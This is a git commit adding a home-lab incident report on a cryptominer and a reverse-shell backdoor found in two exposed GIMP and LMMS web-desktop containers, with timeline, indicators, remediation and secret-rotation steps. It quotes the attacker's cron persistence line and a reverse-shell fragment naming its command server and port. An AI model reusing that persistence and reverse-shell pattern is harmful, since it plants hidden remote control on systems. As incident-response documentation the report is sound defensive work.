security: contain GIMP cryptominer + LMMS reverse-shell backdoor (2026-11-11)
- Weblog desktops were unauthenticated and publicly reachable (entry vector) - Caddy basic_auth applied to gimp/lmms/video/audio routes -> 401 verified - Webtop-native CUSTOM_USER/PASSWORD on all four (defence in depth) - GIMP + LMMS rebuilt clean; gimp-config volume deleted, lmms-config quarantined - Removed /home/sam:ro mount from GIMP (was exposing secrets to the container) - Service-controller restarted (was dead, which is why toggles did nothing) - Incident record + captured payload in docs/incident-2026-11-11*
This commit is contained in:
151
docs/incident-2026-11-11.md
Normal file
151
docs/incident-2026-11-11.md
Normal file
@@ -0,0 +1,151 @@
|
||||
# Incident 2026-11-11 — Container compromise (GIMP + LMMS webtops)
|
||||
|
||||
**Status:** CONTAINED (both infected containers stopped) · **Host:** no evidence of compromise so far
|
||||
**Discovered by:** GIMP ON/OFF toggle appearing broken + unexplained memory/CPU use
|
||||
|
||||
## Summary
|
||||
|
||||
Two LinuxServer **webtop** containers were compromised through their **unauthenticated,
|
||||
publicly-reachable web desktops**:
|
||||
|
||||
1. **`family-home-lab-gimp-1`** — cryptominer
|
||||
2. **`lmms`** — reverse-shell backdoor with cron persistence
|
||||
|
||||
Both containers were reachable from the public internet with **no login** (no `CUSTOM_USER` /
|
||||
`PASSWORD` set — LinuxServer webtop default = wide open).
|
||||
|
||||
## Timeline
|
||||
|
||||
| When | Event |
|
||||
|---|---|
|
||||
| 2026-11-05 12:30 | GIMP container started (restart: unless-stopped) |
|
||||
| 2026-11-06 00:00:08 | Fake `kswapd0` process launched in GIMP (= miner start) |
|
||||
| 2026-10-26 22:20 | `/etc/.sys_core/` created in LMMS container |
|
||||
| 2026-11-11 08:13 | LMMS backdoor payload rewritten (attacker active today) |
|
||||
| 2026-11-11 16:4x | Discovery: GIMP 2.1 GiB RAM / 1079% CPU; both containers stopped |
|
||||
|
||||
## Indicator of Compromise #1 — GIMP cryptominer
|
||||
|
||||
```
|
||||
Process name : ks<U+FEFF><U+200B>wapd0 (mimics kernel kswapd0)
|
||||
Parent : 111599
|
||||
Started : Fri Nov 6 00:00:08 2026 (ran 5d 16h)
|
||||
Resource use : 1079% CPU, 2.112 GiB RSS (13.2% of host RAM)
|
||||
Binary : unreadable / deleted after launch (readlink /proc/PID/exe → empty)
|
||||
Outbound : 172.67.131.146:443, 203.188.174.67:3222
|
||||
```
|
||||
|
||||
The genuine kernel thread `[kswapd0]` (pid 114, in brackets) is unrelated and normal.
|
||||
|
||||
## Indicator of Compromise #2 — LMMS reverse shell
|
||||
|
||||
Persistence (`crontab -l` inside container), re-launches every 30 min:
|
||||
|
||||
```
|
||||
*/30 * * * * pgrep -f /etc/.sys_core/system.py >/dev/null || { rm -f /tmp/.sys_core.lock && nohup python3 /etc/.sys_core/system.py >/dev/null 2>&1 & }
|
||||
```
|
||||
|
||||
Payload: `/etc/.sys_core/system.py` — Python reverse shell:
|
||||
|
||||
```python
|
||||
SERVER = "84.8.219.196"
|
||||
PORT = 4444
|
||||
# connects out, receives commands, runs them via subprocess.check_output(shell=True),
|
||||
# returns output; flock lock file /tmp/.sys_core.lock prevents duplicates
|
||||
```
|
||||
|
||||
- SHA-256 of captured payload: `2befa0c3e6485691d4d58fec75af1e16b1c097a1ac9d2480b386d15de29da1fb`
|
||||
- Evidence: `docs/incident-2026-11-11/` (payload, crontab, process list, logs)
|
||||
|
||||
## Attacker infrastructure (block these)
|
||||
|
||||
- `84.8.219.196` — reverse-shell C2, TCP 4444
|
||||
- `203.188.174.67` — miner endpoint, TCP 3222
|
||||
- `172.67.131.146` — Cloudflare-fronted, TCP 443 (shared CDN — do not blanket block)
|
||||
|
||||
## Exposure that allowed entry
|
||||
|
||||
| Host | Public URL | Auth | State |
|
||||
|---|---|---|---|
|
||||
| GIMP | gimp.lab.audasmedia.com.au | **none** | stopped (was infected) |
|
||||
| LMMS | lmms.lab.audasmedia.com.au | **none** | stopped (was infected) |
|
||||
| Video editor | video.lab.audasmedia.com.au | **none** | running — **still exposed** |
|
||||
| Audio editor | audio.lab.audasmedia.com.au | **none** | running — **still exposed** |
|
||||
| Console | console.lab.audasmedia.com.au | portal login (303) | OK |
|
||||
|
||||
Caddy routes these straight to `192.168.20.13:8083/8084/8087/8085` with no `basic_auth`.
|
||||
Public IP `144.6.86.11` → router → `.35` (Caddy).
|
||||
|
||||
## Data exposure (assume credentials compromised)
|
||||
|
||||
GIMP mounted the **entire home directory read-only**:
|
||||
|
||||
```
|
||||
/home/sam -> /home/sam (ro) # readable by attacker: .ssh, .env files, 10-secrets.conf
|
||||
/home/sam/Downloads -> ... (rw) # writable
|
||||
/home/sam/Pictures -> ... (rw) # writable
|
||||
/mnt/data/family-home-lab/shared-media -> /media (rw)
|
||||
```
|
||||
|
||||
LMMS mounted `lmms-config` **rw** and `shared-media` ro.
|
||||
|
||||
The reverse shell executed arbitrary commands **as root inside the container** for an unknown
|
||||
period, with read access to the whole home directory. Treat anything readable from `/home/sam`
|
||||
as potentially stolen.
|
||||
|
||||
## Clean-up performed
|
||||
|
||||
- [x] `docker stop family-home-lab-gimp-1` — miner killed (2.1 GiB + 11 cores reclaimed)
|
||||
- [x] `docker stop lmms` — backdoor + cron watchdog killed
|
||||
- [x] `docker stop video-editor audio-editor` — closed the remaining public exposure
|
||||
- [x] Evidence captured and copied to `docs/incident-2026-11-11/`
|
||||
- [x] `video-editor` / `audio-editor` checked — **no** `/etc/.sys_core` artifact
|
||||
- [x] All other containers scanned — no miner strings, no deleted-binary processes, no mining-port traffic
|
||||
- [x] Host checked: no new `authorized_keys` entries (last modified 2026-10-16), no host crontab,
|
||||
no shell-rc tampering, systemd user units (`chrome-pi`, `tuios`, `tuios-web`) verified legitimate
|
||||
|
||||
## Remediation applied (2026-11-11)
|
||||
|
||||
- [x] **Caddy basic_auth** added to `gimp.lab`, `lmms.lab`, `video.lab`, `audio.lab`
|
||||
(reuses the existing `(basic-auth)` snippet). Verified: all four now return **401**
|
||||
from the public internet. Config backup: `/Docker/Containers/caddy/Caddyfile.bak.2026-11-11`
|
||||
- [x] **Webtop-native login** enabled: `CUSTOM_USER=family` + `PASSWORD` (28-char random,
|
||||
in `.env` on `.13`, mode 600, git-ignored) on all four webtops — defence in depth
|
||||
behind Caddy
|
||||
- [x] **Infected GIMP rebuilt clean**: container removed, `family-home-lab_gimp-config`
|
||||
volume deleted, recreated from image
|
||||
- [x] **Infected LMMS rebuilt clean**: container removed, `lmms-config` bind **quarantined**
|
||||
to `lmms-config.QUARANTINE-2026-11-11` (kept for inspection), fresh dir recreated
|
||||
- [x] **`/home/sam:/home/sam:ro` mount removed** from the GIMP service (was exposing
|
||||
`.ssh` and secret files to the container)
|
||||
- [x] **Post-rebuild IOC scan**: all four webtops clean (no `system.py`, no fake `kswapd0`,
|
||||
no `sys_core` cron)
|
||||
- [x] **Resource verification**: GIMP 2.1 GiB / 1079% CPU → **380 MiB / 0.6% CPU**
|
||||
- [x] Service-controller restarted; all 8 services report accurate state; GIMP stop/start
|
||||
verified end-to-end through the controller
|
||||
|
||||
## Outstanding / recommended
|
||||
|
||||
1. **Stop or gate `video.lab` and `audio.lab`** — still open to the internet, same design flaw.
|
||||
2. **Add authentication** to every webtop: `CUSTOM_USER` + `PASSWORD` env (webtop native) *and*
|
||||
Caddy `basic_auth` in front (defence in depth).
|
||||
3. **Rebuild, don't restart** GIMP and LMMS: `docker compose rm -sf gimp lmms`,
|
||||
delete the `gimp-config` volume and `lmms-config` bind, recreate from image.
|
||||
The payloads lived in `/etc` (ephemeral) but the volumes are untrusted.
|
||||
4. **Rotate secrets** readable from `/home/sam`: `10-secrets.conf`, `.env` files, SSH keys,
|
||||
any API tokens. GIMP had read access for 5 days.
|
||||
5. **Inspect** `~/Downloads`, `~/Pictures`, `shared-media` for attacker-written files.
|
||||
6. **Remove** `/home/sam:ro` and the rw `Downloads`/`Pictures` mounts from the GIMP service.
|
||||
7. **Review** `voice_intake_watchdog` — it mounts `docker.sock` (host root equivalent by design).
|
||||
8. Block `84.8.219.196` and `203.188.174.67` at the router/firewall.
|
||||
|
||||
## Why the console "couldn't turn GIMP off"
|
||||
|
||||
Two independent faults:
|
||||
|
||||
1. The **service-controller was dead** (`inactive`), so Start/Stop requests did nothing.
|
||||
Restarted; `/health` OK, 8 services.
|
||||
2. **Stop would not have helped anyway** — `restart: unless-stopped` plus the miner being a
|
||||
separate process meant the container kept running; and the card showed `Stopped` while the
|
||||
container was actually up, because `docker inspect gimp` used the wrong container name
|
||||
(`gimp` vs the real `family-home-lab-gimp-1`).
|
||||
Reference in New Issue
Block a user